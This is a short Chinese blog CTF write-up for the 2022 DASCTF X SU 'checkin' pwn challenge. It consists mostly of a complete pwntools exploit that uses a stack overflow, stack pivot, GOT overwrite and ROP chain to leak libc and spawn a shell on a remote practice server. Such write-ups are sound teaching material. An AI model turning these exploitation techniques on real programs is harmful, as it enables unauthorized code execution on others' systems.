2022 DASCTF X SU pwn checkin

最新推荐文章于 2024-03-13 13:37:41 发布

yongbaoii

最新推荐文章于 2024-03-13 13:37:41 发布

阅读量429

点赞数

分类专栏： CTF 文章标签：网络安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/123763506

版权

CTF 专栏收录该内容

213 篇文章 16 订阅

订阅专栏

栈溢出16个字节

栈迁移打setvbuf的got表
改成puts泄露libc

利用即可。

from pwn import*
from ctypes import*

lib = cdll.LoadLibrary('libc.so.6')

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()

def debug():
    gdb.attach(r)
    pause()
    
def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


r = remote("node4.buuoj.cn", 25051)
#r = process("./checkin")
elf = ELF('./checkin')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 
#debug()


'''
0x000000000040124c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040124e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401250 : pop r14 ; pop r15 ; ret
0x0000000000401252 : pop r15 ; ret
0x000000000040124b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040124f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040113d : pop rbp ; ret
0x0000000000401253 : pop rdi ; ret
0x0000000000401251 : pop rsi ; pop r15 ; ret
0x000000000040124d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''
pop_rdi = 0x401253
pop_rsi_r15 = 0x401251
setvbuf_got = elf.got['setvbuf']
setvbuf_plt = elf.plt['setvbuf']
read_got = elf.got['read']
read_plt = elf.plt['read']
leave_ret = 0x4011e2

#debug()
payload = b'a' * 160 + p64(0x404a00 + 0xa0) + p64(0x4011bf)
sd(payload)

sleep(1)

payload = p64(0x404aa0)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(setvbuf_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(setvbuf_plt)
payload += p64(0x4011bf)
payload += p64(0x404a00)
payload = payload.ljust(0xa0, b'a')
payload += p64(0x404a00) + p64(leave_ret) 
sd(payload)

sleep(1)
sd("\x50\x84")

libc_base = u64(ru('\x7f') + b'\x00\x00') - libc.sym['read']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + 0x1b45bd
lg("libc_base", libc_base)
lg("system_addr", system_addr)

sleep(1)

payload = b'a' * 0x50 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
payload = payload.ljust(0xa8, b'a') + p64(0x404a00)
sd(payload)

ti()